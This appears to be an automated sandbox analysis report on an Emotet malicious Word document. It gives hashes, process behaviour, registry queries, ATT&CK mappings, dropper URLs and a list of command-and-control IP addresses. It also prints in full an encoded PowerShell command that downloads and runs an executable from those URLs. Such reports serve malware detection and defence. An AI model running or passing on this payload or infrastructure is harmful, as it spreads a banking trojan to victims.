emotet | b2b4557ff48bf2d3b0e1cf6514712664fca0cff4e117cd826ba320ccee39235c

General

Target

emotet_e2_b2b4557ff48bf2d3b0e1cf6514712664fca0cff4e117cd826ba320ccee39235c_2020-07-29__010602._doc.doc
Size

175KB
MD5

20902ab9cc1eb45c4cc7aef7ad7c09a9
SHA1

34a04424b5d50ef136cdc035bb540c755fcb7d63
SHA256

b2b4557ff48bf2d3b0e1cf6514712664fca0cff4e117cd826ba320ccee39235c
SHA512

ef8099c529fbc4944358ff651a45f68c3d127272cc8643fd54aeeb8eedfe49f7e569bdd4b477f8ca6281c1d1f04dfbfb14e750e937e4b5b8607677905a6182e6

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://fishbitedesign.com/delete_me/aq_no3_pixel079b/

exe.dropper

http://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/

exe.dropper

http://floydswoodshop.com/floydswo/nn_g5_0s/

exe.dropper

http://fmcav.com/images/tihvt_5d_3znqq/

exe.dropper

http://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
3984	227.exe
3984	227.exe
928	SpatializerApo.exe
928	SpatializerApo.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2864	1312	powersheLL.exe	67

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3984-9-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/928-12-0x0000000002050000-0x000000000205C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
796	WINWORD.EXE
796	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2864	powersheLL.exe
2864	powersheLL.exe
2864	powersheLL.exe
928	SpatializerApo.exe
928	SpatializerApo.exe
928	SpatializerApo.exe
928	SpatializerApo.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
25	2864	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3984	227.exe
928	SpatializerApo.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 928	3984	227.exe	78
PID 3984 wrote to memory of 928	3984	227.exe	78
PID 3984 wrote to memory of 928	3984	227.exe	78

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SettingSyncHost\SpatializerApo.exe	227.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b2b4557ff48bf2d3b0e1cf6514712664fca0cff4e117cd826ba320ccee39235c_2020-07-29__010602._doc.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:796

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4ATABWAE4AaQBmAHoAPQAnAEoAQgBXAE4AUQBpAGUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAYABpAGAAVABZAFAAUgBPAHQAbwBjAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEcATQBCAFcASQBtAGsAawAgAD0AIAAnADIAMgA3ACcAOwAkAFYAWABZAEUARgB3AHcAcQA9ACcASQBUAEUASwBVAHUAdgBsACcAOwAkAE0AUwBSAEsASgB1AGQAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBNAEIAVwBJAG0AawBrACsAJwAuAGUAeABlACcAOwAkAFEARgBKAEUASwBoAHQAdAA9ACcAVABXAFMAUwBFAGcAbABwACcAOwAkAFcAQgBWAE0ASABqAHAAeQA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwAaQBlAG4AdAA7ACQARgBHAFQASABBAGEAZABkAD0AJwBoAHQAdABwADoALwAvAGYAaQBzAGgAYgBpAHQAZQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AZABlAGwAZQB0AGUAXwBtAGUALwBhAHEAXwBuAG8AMwBfAHAAaQB4AGUAbAAwADcAOQBiAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHIAaQBkAG8AdwBlAGQAZABpAG4AZwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAxAF8AZgBiAF8AMwByAHYANwB6ADYAbQByAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHkAZABzAHcAbwBvAGQAcwBoAG8AcAAuAGMAbwBtAC8AZgBsAG8AeQBkAHMAdwBvAC8AbgBuAF8AZwA1AF8AMABzAC8AKgBoAHQAdABwADoALwAvAGYAbQBjAGEAdgAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwB0AGkAaAB2AHQAXwA1AGQAXwAzAHoAbgBxAHEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAGgAYQByAG0ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYwBsAGEAcwBzAGkAYwAtAGUAZABpAHQAbwByAC8ANwBiAF8AawA1AF8AYgBvADQAbAByAG4AYgBtAG8ANgAvACcALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwBJAEcAWgBSAHIAcwBxAD0AJwBGAFIAQgBUAFUAeABrAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAQgBRAFUARgBpAHcAeQAgAGkAbgAgACQARgBHAFQASABBAGEAZABkACkAewB0AHIAeQB7ACQAVwBCAFYATQBIAGoAcAB5AC4AIgBkAE8AVwBOAEwAbwBhAGAAZABGAGAAaQBgAGwAZQAiACgAJABGAEIAUQBVAEYAaQB3AHkALAAgACQATQBTAFIASwBKAHUAZAB2ACkAOwAkAFAAUQBOAFIASwBtAG8AZAA9ACcAVQBQAE8AWABaAGYAZQB0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBTAFIASwBKAHUAZAB2ACkALgAiAGwARQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAyADEAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAYABlAGEAdABlACIAKAAkAE0AUwBSAEsASgB1AGQAdgApADsAJABRAE4AUwBMAFQAbgBvAGMAPQAnAEEAQwBWAEkAUwBnAHYAeQAnADsAYgByAGUAYQBrADsAJABMAFkAVQBMAE8AeAB5AGEAPQAnAEgAUwBXAE8AQQB1AHgAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEYAVQBEAFYAagBoAGQAPQAnAFkASABXAFIARABnAGIAaQAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2864

C:\Users\Admin\227.exe
C:\Users\Admin\227.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:3984
- C:\Windows\SysWOW64\SettingSyncHost\SpatializerApo.exe
  "C:\Windows\SysWOW64\SettingSyncHost\SpatializerApo.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/796-3-0x00000206DDCA6000-0x00000206DDCC5000-memory.dmp

Filesize
124KB

Download
memory/928-12-0x0000000002050000-0x000000000205C000-memory.dmp

Filesize
48KB

Download
memory/3984-9-0x0000000002230000-0x000000000223C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads